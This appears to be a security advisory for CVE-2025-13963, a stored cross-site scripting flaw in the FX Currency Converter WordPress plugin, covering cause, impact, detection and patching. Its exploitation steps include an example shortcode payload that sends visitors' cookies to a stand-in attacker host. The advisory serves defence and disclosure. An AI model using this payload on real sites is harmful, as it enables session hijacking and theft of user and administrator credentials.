CVE-2025-13963: 
WordPress vulnerability analysis and mitigation

CVE-2025-13963 is a Stored Cross-Site Scripting (XSS) vulnerability in the FX Currency Converter plugin for WordPress. It affects all versions up to and including 0.2.0, caused by insufficient input sanitization and output escaping on user-supplied attributes in the fxcc_convert shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It was published on December 12, 2025, with a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in includes/shortcode.php at line 57, where user-supplied shortcode attributes are rendered without proper sanitization or escaping (WordPress Trac). An attacker with at least contributor-level WordPress access can embed a malicious [fxcc_convert] shortcode with a crafted attribute value containing JavaScript, which is then stored in the database and executed in the browser of any visitor who loads the page containing the shortcode (Wordfence). The attack vector is network-based, requires low privileges, and no user interaction beyond visiting the injected page.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or further site compromise. The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader WordPress site and its visitors. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13963. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain contributor access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running FX Currency Converter ≤ 0.2.0.
2. Create or edit a post: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject malicious shortcode: Insert a crafted [fxcc_convert] shortcode with a malicious attribute, e.g., [fxcc_convert attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Save and publish the post so the payload is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking or other client-side attacks (Wordfence, WordPress Trac).

• Logs: WordPress database or audit logs showing posts/pages created or edited by contributor-level accounts containing [fxcc_convert] shortcodes with unexpected or encoded attribute values.
• File System: Review includes/shortcode.php in the FX Currency Converter plugin directory for the unpatched version (0.2.0 or earlier).
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with the fxcc_convert shortcode, potentially carrying cookie or session data in query parameters.
• Database: WordPress wp_posts table entries containing [fxcc_convert] shortcodes with <script> tags or JavaScript event handlers in attribute values.

Site administrators should update the FX Currency Converter plugin to a version beyond 0.2.0 that includes the fix applied in changeset 3415819 (WordPress Trac Changeset). If an update is not immediately available, consider deactivating or removing the plugin until a patched release is confirmed. Additionally, restrict contributor-level account creation and review existing contributor accounts for signs of abuse. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Wordfence).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it was discovered through their threat intelligence program (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified.